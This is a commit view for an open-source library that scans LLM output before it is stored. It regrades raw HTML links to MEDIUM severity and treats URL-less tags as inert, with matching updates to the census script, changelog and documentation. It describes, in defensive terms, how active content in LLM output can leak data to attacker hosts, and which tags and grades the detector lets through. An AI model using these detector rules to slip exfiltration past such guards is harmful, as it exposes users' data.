1
0
Fork 0

feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert

Two changes that had to ship together, because they co-occur.

`active:raw-html-link` (MEDIUM) splits the click-required carriers out of
`active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as
`<a href="url">` — an asymmetry produced by syntax, not by affordance, on a
carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test
runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH
too: a name outside the active set has unknown rendering, and grading
`<Card src=...>` as a link would be reasoning rather than measurement.

The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>`
without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the
name branch. It tests for the URL attribute's PRESENCE, not for a readable value,
so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here.

WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains
is the `<a href=...>` the split grades down, so each alone leaves the document
blocked by the other's residue.

`active_tag_class` is now the classification point and `is_active_tag` wraps it.
The census patches the former: a boolean could only express a narrowing, never a
regrade, so every carrier candidate would have measured equal to PRODUCTION —
silently, and in the direction that reads as "no change helps".

TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED:

- The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings
  at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>`
  and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On
  that preset it is the only direction the split can move anything. The census
  now reports a TIGHTENS column on both trust tiers against the previously
  shipped row — "frees N" without "tightens M" is a one-sided number.
- `count` drops on documents containing `</a>`, a published field moving under a
  meaning that did not change.

MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the
census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census
also reproduces 133/3/13/108/25 exactly, so it is calibrated against every
published historical number. The two wiki corpora are NOT yet re-measured; the
tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than
carrying probe numbers as fact.

791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version
bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
Kjell Tore Guttormsen 2026-08-12 00:42:44 +02:00
commit fcfaee4589
18 changed files with 544 additions and 99 deletions

View file

@ -10,6 +10,58 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
Nothing yet. Nothing yet.
## [0.7.0] — 2026-08-12
### Added — `active:raw-html-link`, a click-required carrier class for raw HTML
Raw HTML graded on activity alone: every active tag was HIGH. So the *same URL*
was LOW as `[t](https://example.com/guide)` and HIGH as
`<a href="https://example.com/guide">` — an asymmetry produced by syntax, not by
affordance. Following an anchor needs a human, exactly like the markdown inline
link that has been MEDIUM since 0.3.1.
`<a>` and `<area>` now report as **`active:raw-html-link` at MEDIUM**. Everything
a renderer fetches or executes unattended keeps `active:raw-html` at HIGH, and the
event-handler test runs *first*, so `<a onclick=...>` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
The URL-attribute branch deliberately stays on the HIGH side: a name outside the
active set has unknown rendering, and `href` is not the only URL attribute it may
carry. Grading `<Card src="...">` as a link would be reasoning, not measurement.
**This is a new label, and labels are a contract surface consumers pin against.**
A document that previously produced one `active:raw-html` finding may now produce
two findings, one per carrier class.
### Changed — a tag whose whole affordance is a URL it does not carry is inert
`</a>`, `<Frame>`, `<video />` and `<img alt="...">` without `src` were active by
*name* while naming no target at all. This is `<base />`'s argument from 0.6.0 —
"attribute-less, therefore no affordance in any renderer" — applied to the rest of
the name branch. The test is for the URL attribute's **presence**, not for a
readable value: a value the parser cannot resolve keeps the tag active, mirroring
the fail-secure gap `_url_attr_is_external` already leaves open.
Every other member of the active name set does something a URL cannot describe —
`<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
active with no attributes at all.
### Changed — `active_tag_class` is the classification point; `is_active_tag` wraps it
`docs/rawhtml-census.py` measures candidates by patching this symbol, and a
boolean could only express a narrowing, never a regrade. Left as a boolean, every
carrier candidate would have measured equal to PRODUCTION — silently, and in the
direction that reads as "no change helps".
### Known behaviour change
**`count` drops on documents containing `</a>`.** Through 0.6.1 an end tag was
active by name, so `count` ran roughly 1.6× the opening-tag total and a start/end
pair counted 2. It is now the opening-tag total. The field's meaning did not
change and the finding count is unaffected — the class still collapses to one
finding per class per document.
## [0.6.1] — 2026-08-11 ## [0.6.1] — 2026-08-11
### Fixed — the zero-width check tested identity, so emoji-composed documents were hard-blocked ### Fixed — the zero-width check tested identity, so emoji-composed documents were hard-blocked

View file

@ -11,7 +11,7 @@ framework-agnostisk kode.
Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`). Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`).
Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen. Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen.
Repoet er på **v0.6 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler + Repoet er på **v0.7 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler +
topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold- topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold-
detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner
reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å
@ -19,9 +19,14 @@ path-avvise dem; upload-front-end beholder shadow-reject (`allow_reserved=False`
Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon
og secret-egress (LLM02), så en base64-innpakket credential fanges som og secret-egress (LLM02), så en base64-innpakket credential fanges som
`decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert `decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et
EKSTERNT mål på URL-attributt-grenen, og `<base>` er ute av det aktive navnesettet; EKSTERNT mål på URL-attributt-grenen, og `<base>` er ute av det aktive navnesettet;
scanner og mutator har hver sin predikat (`is_active_tag` / `is_defangable_tag`). scanner og mutator har hver sin predikat (`is_active_tag` / `is_defangable_tag`).
Rå HTML graderes nå også på BÆRER: `<a>`/`<area>` er klikk-krevende og rapporteres
som `active:raw-html-link` (MEDIUM), og en tagg hvis hele affordans ER en URL den
ikke bærer (`</a>`, `<Frame>`, `<video />`) er inert. Klassifisering skjer i
`active_tag_class`; `is_active_tag` er en tynn wrapper, og census patcher den
FØRSTE (en boolsk patch kan ikke uttrykke en regradering).
ZWJ (U+200D) dømmes på KONTEKST, ikke identitet — unntas kun mellom to emoji, på ZWJ (U+200D) dømmes på KONTEKST, ikke identitet — unntas kun mellom to emoji, på
begge flater (`sanitize` eier predikatet, `output` importerer det). begge flater (`sanitize` eier predikatet, `output` importerer det).
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for

View file

@ -2,7 +2,7 @@
Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure. Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure.
![Version](https://img.shields.io/badge/version-0.6.1-blue) ![Version](https://img.shields.io/badge/version-0.7.0-blue)
![Status](https://img.shields.io/badge/status-alpha-orange) ![Status](https://img.shields.io/badge/status-alpha-orange)
![Python](https://img.shields.io/badge/python-3.10%2B-purple) ![Python](https://img.shields.io/badge/python-3.10%2B-purple)
![License](https://img.shields.io/badge/license-MIT-lightgrey) ![License](https://img.shields.io/badge/license-MIT-lightgrey)
@ -33,7 +33,7 @@ at write time, never assumed from the format. Any pipeline ingesting external da
into an agent-read store has this shape; an OKF wiki is its canonical form — which into an agent-read store has this shape; an OKF wiki is its canonical form — which
is why the guard ships a first-class OKF adapter (below). is why the guard ships a first-class OKF adapter (below).
**Status:** `v0.6`, alpha. The stdlib-only core — its detector, contract, and **Status:** `v0.7`, alpha. The stdlib-only core — its detector, contract, and
OKF-adapter modules plus the top-level wiring — is built and tested, exercised by OKF-adapter modules plus the top-level wiring — is built and tested, exercised by
an end-to-end showcase and adversarial + false-positive corpora. The public API an end-to-end showcase and adversarial + false-positive corpora. The public API
may still change. There are real limitations, stated plainly below; read them. may still change. There are real limitations, stated plainly below; read them.
@ -43,7 +43,7 @@ may still change. There are real limitations, stated plainly below; read them.
Not on PyPI. The guard is distributed from its Forgejo origin — pin a release tag: Not on PyPI. The guard is distributed from its Forgejo origin — pin a release tag:
```bash ```bash
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.6.1" pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.7.0"
``` ```
The `open/` mirror is anonymously readable, so CI needs no deploy key, token, or The `open/` mirror is anonymously readable, so CI needs no deploy key, token, or
@ -164,7 +164,7 @@ driven by a **live payload** in the coverage matrix — run it to watch all 134
in your own environment: in your own environment:
```bash ```bash
python -m llm_ingestion_guard.coverage # 128/128 classes; exit 0 = all as documented python -m llm_ingestion_guard.coverage # 129/129 classes; exit 0 = all as documented
``` ```
| Anchor | Attack classes it stops (representative) | | Anchor | Attack classes it stops (representative) |
@ -246,7 +246,7 @@ a green scan means safe content. The highest-impact items:
two of the three corpora are living, so the cells are not rewritten in place. two of the three corpora are living, so the cells are not rewritten in place.
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py). Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
**Full list — 34 items, each with the mechanism, plus the out-of-scope boundary:** **Full list — 35 items, each with the mechanism, plus the out-of-scope boundary:**
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from [`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
consumer corpora, including the false positives the URL-shape rule actually produces. consumer corpora, including the false positives the URL-shape rule actually produces.

View file

@ -6,7 +6,7 @@ downstream corpus. Reports are welcome.
## Supported versions ## Supported versions
The project is pre-1.0 (`0.6.x`, alpha). Only the latest published version receives The project is pre-1.0 (`0.7.x`, alpha). Only the latest published version receives
fixes; there are no back-ported security branches yet. Pin a version and watch the fixes; there are no back-ported security branches yet. Pin a version and watch the
`CHANGELOG.md` `### Security` entries. `CHANGELOG.md` `### Security` entries.

View file

@ -4,7 +4,7 @@
especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs
to decide **when** and **where** to add a write-time ingestion guard. to decide **when** and **where** to add a write-time ingestion guard.
**Status of the guard:** `v0.6.1` (alpha). Stdlib-only core, framework-agnostic. **Status of the guard:** `v0.7.0` (alpha). Stdlib-only core, framework-agnostic.
Public API may still change. Read the known-limitations section before you rely Public API may still change. Read the known-limitations section before you rely
on it. on it.
@ -140,9 +140,9 @@ live payload:
python -m llm_ingestion_guard.coverage # exit 0 = all as documented python -m llm_ingestion_guard.coverage # exit 0 = all as documented
``` ```
As of `v0.6.1`: **128 / 128 defended classes demonstrated (recall 100%)** and **6 / As of `v0.7.0`: **129 / 129 defended classes demonstrated (recall 100%)** and **6 /
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc 6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**736 update). The matrix is the single source of truth for the test suite (**791
passing**), which also asserts total recall, that every lexicon pattern has a passing**), which also asserts total recall, that every lexicon pattern has a
case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb, set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,

View file

@ -3,7 +3,7 @@
**A reusable, minimal, dependency-light defensive layer for LLM *ingestion* **A reusable, minimal, dependency-light defensive layer for LLM *ingestion*
pipelines — the write-time siblings of query-time chatbot guardrails.** pipelines — the write-time siblings of query-time chatbot guardrails.**
Status: implemented — v0.6 (alpha). This document defines what the repo contains Status: implemented — v0.7 (alpha). This document defines what the repo contains
and why; the stdlib-only core is built and tested (see `README.md` for usage and and why; the stdlib-only core is built and tested (see `README.md` for usage and
`docs/PLAN.md` for the build order). `docs/PLAN.md` for the build order).

View file

@ -264,11 +264,28 @@ items; this is the full list, each with the mechanism.
no test discriminated the two halves. They are now `is_active_tag` and no test discriminated the two halves. They are now `is_active_tag` and
`is_defangable_tag`; the mutator kept the broader behaviour deliberately, pinned by `is_defangable_tag`; the mutator kept the broader behaviour deliberately, pinned by
`tests/test_neutralize.py::test_mutator_still_defangs_what_the_scanner_now_lets_pass`. `tests/test_neutralize.py::test_mutator_still_defangs_what_the_scanner_now_lets_pass`.
- **Raw-HTML findings count end tags.** `</a>` is active by name on its own, so a - **The carrier split TIGHTENS the trusted tier when both carrier classes are present.**
corpus census that counts only opening tags understates what this detector reports 0.7.0 is sold as a loosening of the upload door, and on that door it is one. But
by roughly the ratio of closing to opening active tags (measured at 1.6× on one splitting one class into two means a document carrying both an `<img src>` and an
corpus). Severity and finding count are unaffected — the class collapses to one `<a href>` now emits *two* findings at MEDIUM+ where it emitted one, which trips
finding — but the `count` field is not a document count. the compound overlay (`>=2 findings at MEDIUM+ -> escalated one tier`). Such a
document was WARN through 0.6.1 and is `quarantine_review` from 0.7.0 under
`PRESET_TRUSTED_SOURCE`. On the trusted preset nothing was hard-failed to begin
with, so this is the *only* direction the split can move it. Pinned by
`tests/test_wiring.py::test_split_tightens_the_trusted_tier_when_both_carriers_are_present`,
and `docs/rawhtml-census.py` now reports a `TIGHTENS` column against the
previously-shipped row on both trust tiers — "frees N" without "tightens M" is a
one-sided number. **Measured so far: 0 documents tightened on reference-corpus
(389). The two wiki corpora are NOT yet re-measured; until they are, the size of
this cost is unknown, not zero.**
- **Raw-HTML findings no longer count end tags, and that moved a published field.**
Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly 1.6×
the opening-tag total (measured on one corpus) and a start/end pair counted 2.
0.7.0's no-URL narrowing makes an end tag inert — it names no target — so `count`
is now the opening-tag total. A consumer reading `count` will see it *drop* for
every document carrying `</a>`, on a field whose meaning did not change. The
finding count is unaffected: the class still collapses to one finding per class
per document, and `count` was never a document count.
- **Measured, document by document: a large minority of *benign* documents do not - **Measured, document by document: a large minority of *benign* documents do not
persist unattended at the upload door.** The bullets above bound single rules on persist unattended at the upload door.** The bullets above bound single rules on
single URLs. This one bounds the thing a consumer actually feels — how often an single URLs. This one bounds the thing a consumer actually feels — how often an

View file

@ -1,4 +1,4 @@
"""raw-HTML census — which branch of `is_active_tag` fires, and what narrowing it costs. """raw-HTML census — which branch of `active_tag_class` fires, and what a change costs.
`docs/fp-sweep.py` answers *how often* the upload door costs a human. This answers `docs/fp-sweep.py` answers *how often* the upload door costs a human. This answers
*why*, for the one detector that drives most of it, and *what a proposed narrowing *why*, for the one detector that drives most of it, and *what a proposed narrowing
@ -22,11 +22,17 @@ TWO METHOD TRAPS IT EXISTS TO AVOID:
effect with corpus drift. Every candidate here runs against the same corpus state effect with corpus drift. Every candidate here runs against the same corpus state
in one process, and `base` is re-measured rather than quoted from the doc. in one process, and `base` is re-measured rather than quoted from the doc.
The candidates are applied by replacing `active_content.is_active_tag` in-process, The candidates are applied by replacing `active_content.active_tag_class`
which mirrors a real edit to the *scanner*. Since 0.6.0 that is the whole story: in-process, which mirrors a real edit to the *scanner*. Since 0.6.0 that is the
`neutralize` calls its own `is_defangable_tag`, so patching this symbol cannot whole story: `neutralize` calls its own `is_defangable_tag`, so patching this
move the mutator. Before 0.6.0 the two shared one symbol and this caveat read the symbol cannot move the mutator. Before 0.6.0 the two shared one symbol and this
other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`. caveat read the other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
The patch point was `is_active_tag` through 0.6.1, when a candidate could only
answer yes/no. 0.7.0 grades raw HTML on carrier as well, so a candidate returns a
CLASS and `is_active_tag` became a thin wrapper. A boolean patch point would have
left every regrade candidate equal to PRODUCTION silently, and in the direction
that reads as "no change helps".
The `PRODUCTION` row is the only one that is not a hypothetical: it leaves the The `PRODUCTION` row is the only one that is not a hypothetical: it leaves the
shipped predicate in place. A shipped narrowing must equal its candidate row, and shipped predicate in place. A shipped narrowing must equal its candidate row, and
@ -47,11 +53,22 @@ from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src")) sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src"))
from llm_ingestion_guard import ( # noqa: E402 from llm_ingestion_guard import ( # noqa: E402
PRESET_USER_UPLOAD, Disposition, screen_output, PRESET_TRUSTED_SOURCE, PRESET_USER_UPLOAD, Disposition, guard, scan_output,
) )
from llm_ingestion_guard import active_content as ac # noqa: E402 from llm_ingestion_guard import active_content as ac # noqa: E402
BENIGN = Disposition.WARN BENIGN = Disposition.WARN
BLOCKED = Disposition.FAIL_SECURE
# Both trust tiers, because a change can move them in OPPOSITE directions: the
# carrier split loosens the upload door (HIGH -> MEDIUM is fail_secure ->
# quarantine_review) while tightening the trusted one (one finding becomes two,
# and >=2 findings at MEDIUM+ trip the compound overlay). A single-preset census
# would have reported only the half that flattered the change.
PRESETS = {"upload": PRESET_USER_UPLOAD, "trusted": PRESET_TRUSTED_SOURCE}
# Disposition severity order, for "did this document get strictly worse?".
_TIER = {Disposition.WARN: 0, Disposition.QUARANTINE_REVIEW: 1, Disposition.FAIL_SECURE: 2}
# The row a release is judged against: what consumers are running today.
_SHIPPED_BEFORE_ROW = "A + base-url (0.6.0)"
def has_external_url_attr(attrs: str) -> bool: def has_external_url_attr(attrs: str) -> bool:
"""True if any URL-bearing attribute points at an attacker-reachable target. """True if any URL-bearing attribute points at an attacker-reachable target.
@ -68,20 +85,41 @@ def has_external_url_attr(attrs: str) -> bool:
return ac._url_attr_is_external(attrs) return ac._url_attr_is_external(attrs)
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False): def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False,
"""Build an `is_active_tag` replacement: names minus ``drop``, URL branch gated.""" carrier_split: bool = False, no_url: bool = False):
"""Build an `active_tag_class` replacement.
Candidates return the tag's CLASS (``"raw-html"`` / ``"raw-html-link"``) or
``None``, because since 0.7.0 the raw-HTML pass grades on carrier as well as
activity, and a boolean could not express a regrade. ``drop`` removes names
from the active set, ``external_only`` gates the URL branch, ``carrier_split``
moves the click-required carriers to the link class, and ``no_url`` makes a
URL-affordance tag carrying no URL attribute inert.
"""
keep = frozenset(ac._ACTIVE_TAGS - drop) keep = frozenset(ac._ACTIVE_TAGS - drop)
def is_active_tag(name: str, attrs: str) -> bool: def active_tag_class(name: str, attrs: str):
if name.lower() in keep or ac._EVENT_ATTR_RE.search(attrs): lowered = name.lower()
return True if ac._EVENT_ATTR_RE.search(attrs):
if not ac._URL_ATTR_RE.search(attrs): return "raw-html"
return False has_url_attr = bool(ac._URL_ATTR_RE.search(attrs))
return has_external_url_attr(attrs) if external_only else True if lowered in keep:
if no_url and lowered in ac._URL_AFFORDANCE_TAGS and not has_url_attr:
return None
if carrier_split and lowered in ac._LINK_TAGS:
return "raw-html-link"
return "raw-html"
if not has_url_attr:
return None
if external_only and not has_external_url_attr(attrs):
return None
return "raw-html"
return is_active_tag return active_tag_class
_INERT = None
CANDIDATES = [ CANDIDATES = [
("pre-0.6.0 (no narrowing)", _variant()), ("pre-0.6.0 (no narrowing)", _variant()),
# The URL-attribute branch requires an EXTERNAL target — the rule the markdown # The URL-attribute branch requires an EXTERNAL target — the rule the markdown
@ -91,14 +129,28 @@ CANDIDATES = [
# which the URL-attribute branch still catches; APIM policy XML's `<base />` is # which the URL-attribute branch still catches; APIM policy XML's `<base />` is
# attribute-less and has no affordance in any renderer. # attribute-less and has no affordance in any renderer.
("base-url: <base> needs a URL", _variant(drop=frozenset({"base"}))), ("base-url: <base> needs a URL", _variant(drop=frozenset({"base"}))),
("A + base-url (both)", ("A + base-url (0.6.0)",
_variant(drop=frozenset({"base"}), external_only=True)), _variant(drop=frozenset({"base"}), external_only=True)),
# Not a hypothetical: the shipped predicate, unpatched. `A + base-url` is what # 0.7.0's pair. C1 REGRADES (a click-required carrier is MEDIUM, not HIGH);
# 0.6.0 shipped, so these two rows must agree — a mismatch means the code and # D NARROWS (a tag whose whole affordance is a URL it does not carry is
# this script have drifted apart and every number below is suspect. # inert). They are listed alone as well as together because they co-occur
# hard: D strips a document's `</a>` and `<Frame>`, and what is left is the
# `<a href=...>` C1 grades down, so each alone leaves the document blocked by
# the other's residue. Reading either single row as "this change is cheap" is
# the trap this script exists to prevent.
("C1: carrier split (alone)",
_variant(drop=frozenset({"base"}), external_only=True, carrier_split=True)),
("D: no-URL narrowing (alone)",
_variant(drop=frozenset({"base"}), external_only=True, no_url=True)),
("C1 + D (0.7.0)",
_variant(drop=frozenset({"base"}), external_only=True,
carrier_split=True, no_url=True)),
# Not a hypothetical: the shipped predicate, unpatched. `C1 + D` is what 0.7.0
# ships, so these two rows must agree — a mismatch means the code and this
# script have drifted apart and every number below is suspect.
("PRODUCTION (as shipped)", None), ("PRODUCTION (as shipped)", None),
# The CEILING: no narrowing can free more than switching the detector off. # The CEILING: no narrowing can free more than switching the detector off.
("NONE (ceiling)", lambda name, attrs: False), ("NONE (ceiling)", lambda name, attrs: _INERT),
] ]
@ -162,7 +214,7 @@ def main() -> None:
print(__doc__) print(__doc__)
raise SystemExit(2) raise SystemExit(2)
original = ac.is_active_tag original = ac.active_tag_class
try: try:
for spec in specs: for spec in specs:
if "=" not in spec: if "=" not in spec:
@ -177,27 +229,78 @@ def main() -> None:
n = len(texts) n = len(texts)
print(f"\n## {label}{n} documents", flush=True) print(f"\n## {label}{n} documents", flush=True)
baseline = None base_nonwarn = base_block = None
shipped_before: dict[str, list] = {}
for name, fn in CANDIDATES: for name, fn in CANDIDATES:
ac.is_active_tag = original if fn is None else fn ac.active_tag_class = original if fn is None else fn
non_warn = sum( # `screen_output(t, policy)` IS `guard(lambda: scan_output(t),
1 for t in texts # policy)`. Decomposed by exactly one step here so the scan — the
if screen_output(t, PRESET_USER_UPLOAD).disposition is not BENIGN # expensive part, and identical across trust tiers — runs once per
) # document instead of once per tier. Disposition still goes through
if baseline is None: # the shipped `guard`, so the fail-closed wrapper is not skipped.
baseline = non_warn per_preset = {tier: [] for tier in PRESETS}
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})", flush=True) for t in texts:
else: try:
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})" report = scan_output(t)
f" frees {baseline - non_warn}", flush=True) except Exception: # noqa: BLE001 — hand it back to `guard`
ac.is_active_tag = original report = None
for tier, policy in PRESETS.items():
scan_fn = (lambda: scan_output(t)) if report is None \
else (lambda report=report: report)
per_preset[tier].append(guard(scan_fn, policy).disposition)
dispositions = per_preset["upload"]
non_warn = sum(1 for d in dispositions if d is not BENIGN)
# BOTH metrics, because they answer different questions and a
# REGRADE is invisible to the first one. A narrowing removes the
# finding, so a document can reach WARN; a carrier split only
# lowers the severity, so the document stays non-WARN and merely
# stops being hard-failed. Reporting only `non_warn` would have
# printed "frees 0" for every carrier candidate and read as
# "the split buys nothing" when it converts a hard block into a
# human review — the difference a consumer actually feels.
blocked = sum(1 for d in dispositions if d is BLOCKED)
# Tightening is measured against the row consumers are RUNNING,
# not against the pre-0.6.0 baseline the `frees` column subtracts
# from. "Did this release make anything worse for someone on the
# current version" is a different question from "how much of the
# original over-reach is left", and only the first one belongs in
# a release note.
if name == _SHIPPED_BEFORE_ROW:
shipped_before = per_preset
if base_nonwarn is None:
base_nonwarn, base_block = non_warn, blocked
print(f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
f" fail_secure {blocked:4d}", flush=True)
continue
# A candidate is not free just because it frees documents. Splitting
# one finding into two puts TWO findings at MEDIUM+ in a document
# that had one, which trips the compound overlay — so a change sold
# as a loosening can TIGHTEN a document one tier, and on the trusted
# preset (where nothing was hard-failed to begin with) that is the
# only direction it can move. Reporting `unblocks` without `tightens`
# is a one-sided number.
row = (f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
f" fail_secure {blocked:4d}"
f" frees {base_nonwarn - non_warn:3d} / unblocks "
f"{base_block - blocked:3d}")
if shipped_before:
tightened = {
tier: sum(1 for before, after
in zip(shipped_before[tier], per_preset[tier])
if _TIER[after] > _TIER[before])
for tier in PRESETS
}
row += (f" TIGHTENS vs 0.6.0: upload {tightened['upload']:3d}"
f" trusted {tightened['trusted']:3d}")
print(row, flush=True)
ac.active_tag_class = original
names, relative, external = branch_census(texts) names, relative, external = branch_census(texts)
print(f" name branch : {dict(names.most_common(8))}") print(f" name branch : {dict(names.most_common(8))}")
print(f" url-attr relative: {dict(relative.most_common(8))} <- A frees these") print(f" url-attr relative: {dict(relative.most_common(8))} <- A frees these")
print(f" url-attr external: {dict(external.most_common(8))} <- A keeps these") print(f" url-attr external: {dict(external.most_common(8))} <- A keeps these")
finally: finally:
ac.is_active_tag = original ac.active_tag_class = original
print("\n---") print("\n---")
print("Candidates are measured TOGETHER as well as alone: over-reach classes\n" print("Candidates are measured TOGETHER as well as alone: over-reach classes\n"

View file

@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project] [project]
name = "llm-ingestion-guard" name = "llm-ingestion-guard"
version = "0.6.1" version = "0.7.0"
description = "Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure." description = "Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure."
readme = "README.md" readme = "README.md"
requires-python = ">=3.10" requires-python = ">=3.10"

View file

@ -63,7 +63,7 @@ from .grounding import (
) )
from . import okf from . import okf
__version__ = "0.6.1" __version__ = "0.7.0"
# --- §6 bookends: the two library-side halves around the transform --------- # --- §6 bookends: the two library-side halves around the transform ---------

View file

@ -40,6 +40,38 @@ XML has no affordance in any renderer. Measured together rather than one at a ti
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``. and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
**Raw HTML grades on carrier too, and a tag that names no target is inert**
(0.7.0). Two changes that had to ship together, because they co-occur:
* the *carrier split* ``<a>``/``<area>`` are click-required, so they report as
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
* the *no-URL narrowing* a tag whose entire affordance IS the URL it names
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
``<img alt=...>`` without ``src``.
They had to ship together because they co-occur: the narrowing strips a document's
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
down, so each change alone leaves the document blocked by the other's residue. The
split never lets a document reach WARN it converts a hard block into a human
review, which is the difference a consumer actually feels and the reason the census
reports ``fail_secure`` alongside non-WARN.
**Measured, on reference-corpus (389 documents) at one corpus state:** 54
``fail_secure`` under ``PRESET_USER_UPLOAD`` before, 53 after; the pair unblocks 1,
and tightens 0 on both trust tiers. That corpus was already emptied of raw-HTML
drivers by the 0.6.0 narrowing, so it bounds the change rather than showing its
value. **The two wiki corpora, where the volume is, are NOT yet re-measured through
the census see ``docs/LIMITATIONS.md`` for what is and is not measured.**
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
outside the active set has unknown rendering and ``href`` is not the only URL
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
not measurement.
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration **Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" it is a URL that moves bytes to a host the primitive is not "an image" it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
@ -49,8 +81,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value ``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value
a query, userinfo, percent-escapes, or an opaque host label / path segment a query, userinfo, percent-escapes, or an opaque host label / path segment
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
ordinary form and stay HIGH unconditionally: they are active whatever the URL. ordinary form and keep their carrier's severity unconditionally — HIGH for
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
buys little, and it would add a third tier to a class nobody asked to have three.
The opacity test reuses ``entropy``'s primitives rather than inventing a second The opacity test reuses ``entropy``'s primitives rather than inventing a second
